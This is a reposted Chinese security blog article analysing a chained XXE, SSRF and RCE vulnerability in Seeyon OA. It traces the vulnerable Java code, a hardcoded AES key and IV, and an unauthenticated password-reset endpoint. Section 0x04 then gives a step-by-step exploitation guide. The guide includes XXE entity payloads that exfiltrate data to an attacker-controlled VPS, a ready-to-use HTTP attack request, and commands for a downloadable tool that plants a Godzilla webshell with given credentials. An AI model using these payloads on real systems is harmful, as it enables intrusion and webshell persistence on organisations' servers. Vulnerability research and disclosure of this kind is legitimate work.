【新】致远OA从前台XXE到RCE漏洞分析

渗透技巧 9个月前 admin
736 0 0

0x01 前言


致远OA是目前国内最流行的OA系统之一,前几年也曾爆出过多个安全漏洞。致远官方一直对修复漏洞的态度十分积极,目前能有效利用的致远漏洞已经很少了。


和我们之前分享过的通达OA的漏洞类似,这类主流OA系统现在想要直接一步达到RCE的效果是非常困难的。今天跟大家分享一个通过组合漏洞方式来对致远OA进行RCE的案例,整个利用过程分成多个步骤,应该算是XXE漏洞的典型深入应用场景。


在今年8月的某攻防演练活动中笔者利用此漏洞拿到多个目标的边界权限,后续也将该漏洞也报送给了官方,目前已在新版本中修复。本文仅以安全研究为目的,分享对该漏洞的挖掘和分析过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。


0x02 XXE漏洞


致远OA多个版本(A8, A8+, A6)中均存在一个XXE漏洞,在com.kg.web.action.RunSignatureAction类中接收外部输入的参数xmlValue。

info.setTextinfo(textinfo);String xml = ctx.getParameter("xmlValue", new String[0]);String signature = null;if (this.jsNotNull(xml)) {    signature = exec.runSignature(info, xml);} else {    String protectedData = this.getProtectedData(ctx);    signature = exec.runSignature(info, this.getProtectedDataList(protectedData));}


如果不为空,则进入runSignature方法。

public String runSignature(KgSignatureInfo info, String protectedXml) {    List<KgProtectedData> data = this.xmlToList(protectedXml);    this.put(KgSignName.FIELDXML, protectedXml);    return this.runSignature(info, data);}


继续跟踪进入xmlToList方法。

public List<KgProtectedData> xmlToList(String protectedXml) throws KgException {    ArrayList protectedDatas = new ArrayList();
   try {        List<Element> s = this.getNodes(protectedXml, "/Signature/Field");


继续跟踪,进入getNodes方法,这里就是很明显的XXE漏洞位置。

private List<Element> getNodes(String xmlString, String xpath) {    ArrayList tmpList = null;
   try {        SAXReader saxReader = new SAXReader();        Reader xml_sr = new StringReader(xmlString);        saxReader.setEncoding("UTF-8");        Document document = saxReader.read(xml_sr);        if (document.getRootElement() == null) {            throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));        } else {            List<?> contexts = document.selectNodes(xpath);            tmpList = new ArrayList();
           for(int i = 0; i < contexts.size(); ++i) {                if (contexts.get(i) instanceof Element) {                    tmpList.add((Element)contexts.get(i));                }            }
           return tmpList;        }    }


完整的payload如下,发送下面的请求,触发XXE的SSRF功能。相应内容如下代表存在漏洞。如图2.1所示

【新】致远OA从前台XXE到RCE漏洞分析

图2.1 存在SSRF漏洞的页面响应

【新】致远OA从前台XXE到RCE漏洞分析

图2.2 利用XXE产生SSRF请求


0x03 RCE漏洞


在java环境下是不能直接通过XXE来执行系统命令的,并且这里的XXE是不具有回显的功能,仅能通过XXE来达到SSRF的效果,并且只能进行GET类型的请求。如何通过SSRF来达到RCE的效果是充分利用此漏洞的关键。


本人在分析致远的系统服务的过程中发现致远在某些情况下会开放60001端口,一般是监听在本地地址127.0.0.1的。服务是由一个名为agent.jar的包提供的服务,如图3.1所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.1 agent.jar开放的60001端口服务


在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController类中定义了方法testDBConnect,如图3.2所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.2 testDBConnection方法定义


继续跟踪this.configurationManager.testDBConnect方法,如图3.3所示。这个方法的主要作用是用于测试数据库连接,并且允许自定义连接驱动类。

【新】致远OA从前台XXE到RCE漏洞分析

图3.3 允许自定义driverClass


在文章https://paper.seebug.org/1832/中详细介绍了基于JDBC Connection URL的利用方法,其中最简单的是使用通过h2数据库来达到RCE效果,如图3.4所示。对原理感兴趣的小伙伴可以参考原文。

【新】致远OA从前台XXE到RCE漏洞分析

图3.4 通过H2数据库达到RCE效果


到这一步已经可以看出整个命令执行的大致逻辑是通过XXE来执行SSRF请求,通过SSRF访问致远60001端口中的testDBConnection方法,并且传递恶意的driverClass和dbUrl来达到RCE的效果。


然而现实情况下确远没有这么简单,直接访问上面的testDBConnection,会报“非法访问的错误”,如图3.5所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.5 直接访问testDBConnection报错


根据错误提示反向找到对应的逻辑代码com.seeyon.agent.common.interceptor. SecurityInterceptor的preHandle方法,这应该是全局的拦截器,其中关键的代码如图3.6所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.6 根据错误提示反响找到验证代码逻辑


从这段代码中可以清晰的看出需要传入参数ad,并且有对ad参数进行有效校验的方法isChecktoken,跟踪isChecktoken方法。

【新】致远OA从前台XXE到RCE漏洞分析

图3.7 isChecktoken方法逻辑判断


isChecktoken方法很简单,其中tokenMap是静态属性,默认为空。需要找到为tokenMap赋值的办法。在这个逻辑卡了很久,很长一段时间都以为没办法利用,后来找到了一个可以为tokenMap写入数据的办法com.seeyon.agent.common.getway.getToken方法,如图3.8,图3.9所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.8 通过传入的seeyon参数进行AES解密获取字段

【新】致远OA从前台XXE到RCE漏洞分析

图3.9 生成token并响应token结果


跟踪生成token的TokenUtils.getToken方法,如图3.10所示。这里会生成一个随机的token名称,并保存到tokenMap的静态属性中,与图3.7需要的逻辑判断相呼应。

【新】致远OA从前台XXE到RCE漏洞分析

图3.10 生成token并保存到静态属性tokenMap中


但是这里还有两个问题需要处理,一个是图3.8中AES加密的密钥是多少,另一个是传入的参数signature如何进行签名验证。第一个问题需要跟踪AESUtil.Decrypt方法,如图3.11所示,密钥和偏移量iv都为0102030405060708,典型的硬编码问题。第二个问题是签名校验时只是把传入的参数进行sha1计算,然后比较值,如图3.12所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.11 通过硬编码实现的AES解密

【新】致远OA从前台XXE到RCE漏洞分析

图3.12 通过sha1签名进行校验


到这一步还是不能没有完全解决我们的问题,因为我们在图3.8说了需要传入的参数包括username、pwd和versions这些参数。那么这些参数是怎么来的呢?

1)username参数可以传默认存在的用户名seeyon

2)pwd参数我没有找到默认的值,但是找到了一个任意用户密码重置的接口(这里的用户并不是致远前台WEB的用户,而是60001接口对应的用户)。在com.seeyon.agent.common.controller.ConfigController类的modifyDefaultUserInfo方法中提供了重置用户密码的接口,并且不需要认证,如图3.13所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.13 通过modifyDefaultUserInfo方法来充值seeyon用户密码


3)versions参数也没有默认值,versions参数来源于当前目标系统版本,实际环境中可能存在多种不同的值2.1.0,2.3.4等都有可能。可以通过接口com.seeyon.agent.common.controller.VersionController类的getVersion方法获取,如图3.14所示。

【新】致远OA从前台XXE到RCE漏洞分析

图3.14 通过getVersion方法获取当前目标致远版本号


到目前为止就分析了完整的漏洞利用过程,整个过程分成多个步骤,漏洞利用过程比较复杂。


0x04 漏洞利用


漏洞分析过程已经在上面的文章中体现了,整个流程还是非常复杂的,感兴趣的同学可以自己去复现。另外我把整个漏洞利用过程写成了一个简单的工具,并整理为下面的步骤。下载的工具解压之后如图4.1所示。


工具下载链接:

https://www.ddpoc.com/poc/DVB-2023-5278.html


【新】致远OA从前台XXE到RCE漏洞分析

图4.1 致远XXE综合利用工具


> Step1:

把124.xml、125.xml和126.xml上传到自己的vps上,并开启WEB访问。


> Step2:

修改124.xml文件中第二个请求的地址为自己的vps地址,如下所示。

<!ENTITY % file SYSTEM "http://127.0.0.1:60001/agent/config/modifyDefaultUserInfo?pwd=TVRJek5EVTI="><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://yourvps:yourport/123.php?p=%file;'>">


> Step3:

生成重置密码的POC,使用下面的命令,保证124.xml能正常访问到。

java -cp seeyon.jar Main reset http://yourvps:yourport/124.xml


【新】致远OA从前台XXE到RCE漏洞分析

图4.2 生成重置密码POC


通过获取的payload,修改xmlValue字段的值。后续请求会多次利用下面的请求发起SSRF行为,后续简称SSRF请求。

POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet?S=ajaxEdocSummaryManager&M=deleteUpdateObj HTTP/1.1Host: target.hostPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 302
signatures=YWFh02JiYitY2M%3D&encode=true&elemId=YWFh&imgvalue=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDVNVEl=&xmlValue={payload}


正常来说VPS部分会收到下面的请求,如图4.3所示。如果收到124.xml的请求代表目标存在XXE漏洞;如果收到123.php的请求代表可以对目标进行RCE。

【新】致远OA从前台XXE到RCE漏洞分析

图4.3 重置密码的服务端请求 


> Step4:

修改125.xml文件中第二个请求的地址为自己的vps地址,如下所示。

<!ENTITY % file SYSTEM "http://127.0.0.1:60001/agent/version/getVersion"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://yourvps:yourport/123.php?p=%file;'>">


> Step5:

生成获取系统版本的POC,使用下面的命令,保证125.xml能正常访问到。

java -cp seeyon.jar Main version http://yourvps:yourport/125.xml


【新】致远OA从前台XXE到RCE漏洞分析

图4.4 生成获取系统版本POC


修改SSRF请求中的payload为生成的POC,发送请求,可以在服务器端查看获取到的版本信息,如图4.5所示。

【新】致远OA从前台XXE到RCE漏洞分析

图4.5 通过界面响应获取版本信息


> Step6:

生成获取param需要的POC,使用下面的命令,其中最后的版本替换为上一步获取的版本,如图4.6所示。

java -cp seeyon.jar Main param 2.0.8


【新】致远OA从前台XXE到RCE漏洞分析

图4.6 生成获取token需要的参数seeyon和signature


> Step7:

修改126.xml文件中的内容,替换为自己地址,需要注意的是这里必须替换参数seeyon和signature中的值为上一步生成的值,如图4.7所示。

【新】致远OA从前台XXE到RCE漏洞分析

图4.7 修改126.xml文件中内容


> Step8:

生成获取token需要的POC,使用下面的命令,如图4.8所示。

java -cp seeyon.jar Main token http://yourvps:yourport/126.xml


【新】致远OA从前台XXE到RCE漏洞分析

图4.8 生成获取token需要的POC


修改SSRF请求中的payload为生成的POC,发送请求,可以在服务器端查看获取到的版本信息,如图4.9所示。

【新】致远OA从前台XXE到RCE漏洞分析

图4.9 获取token


> Step9:

生成最终利用的POC和EXP,使用下面的命令。其中token需要替换为上一步获取的token。

java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA test #探测漏洞 java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA gsl #生成哥斯拉webshell


工具提供两种方式test和gsl,其中test在目标服务器上生成一个seeyon.txt的文件,对应的访问方式为http://www.target.com/seeyon.txt,仅用于测试目的;gsl在目标服务器上传哥斯拉webshell,对应的访问访问为http://www.target.com/logon.jsp 111/111。

【新】致远OA从前台XXE到RCE漏洞分析

图4.10 生成用于测试用的test POC


修改SSRF请求中的payload为生成的POC,发送请求。查看目标服务器的

seeyon.txt文件,如图4.11所示。

【新】致远OA从前台XXE到RCE漏洞分析

图4.11 验证漏洞利用是否成功


0x05 结论


由于这个漏洞已经在手里太长时间了,很多分析是一年以前写的,写这篇文章的时候并没有完整的跟踪整个漏洞,其中细节难免有疏忽,如有不对的地方欢迎大家给我们留言。结合上面的分析可以看出致远OA能RCE的前提条件包括:


1、目标服务器出网

2、目标致远开启了60001端口


第一个条件是很容易满足的,因为现在致远的服务器需要在线更新,所以基本上都是出网的;第二个条件不一定满足,从实网测绘数据来看约有1/3的致远OA是开启了这个端口的。


本文仅以提供技术交流为目的,所有漏洞均已上报相关单位,请勿将本文工具用于非法网络攻击目的。


原文始发于微信公众号(Beacon Tower Lab):【新】致远OA从前台XXE到RCE漏洞分析

版权声明:admin 发表于 2023年10月17日 下午4:59。
转载请注明:【新】致远OA从前台XXE到RCE漏洞分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...